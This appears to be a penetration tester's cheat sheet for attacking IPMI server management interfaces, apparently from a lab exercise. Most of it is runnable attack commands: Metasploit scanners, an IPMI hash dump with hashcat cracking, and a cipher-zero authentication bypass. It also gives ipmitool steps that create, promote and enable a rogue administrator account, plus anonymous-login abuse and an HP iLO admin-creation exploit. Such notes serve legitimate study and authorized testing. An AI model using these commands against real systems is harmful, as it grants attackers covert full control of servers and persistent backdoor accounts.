Resources

Cheat sheet

Commands

  • Scaning
    nmap -sU --script ipmi-version -p 623 10.129.202.5
    msf > auxiliary/scanner/ipmi/ipmi_version\
  • CVE-2013-4786 Dump Hashes
    msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
    hashcat -m 7300 -O -a 0 -w 3 --session=ipmi -o ipmi.out ipmi.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule --username
  • CVE-2013-480 Cipher_Zero
    msf > use auxiliary/scanner/ipmi/ipmi_cipher_zero
     
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user list
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user set name 64 fady
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user set password 63 'Passw0rd!'
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user priv 63 4
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U admin -P DummyPassw0rd user enable 63

WARNING

Guess existing admin username. If admin username is correct, the list command will succeed (password doesn’t matter):

  • Anonymous Auth
    # Can be discovered with MSF `ipmi_dumphashes`
    ipmitool -I lanplus -H 10.129.3.207 -U '' -P '' user list
    ipmitool -I lanplus -H 10.129.3.207 -U '' -P '' user set password <ID> 'Passw0rd!'
  • CVE-2017-12542
    ./44005.py 10.129.3.207 -t -e -u fady -p "Password123#f"
    # OR
    msf > use auxiliary/admin/hp/hp_ilo_create_admin_account
  • IPMI cheat sheet
    ipmitool -I lanplus -C 0 -H 10.129.3.207 -U fady -P 'Passw0rd!' mc info

Tools

Notes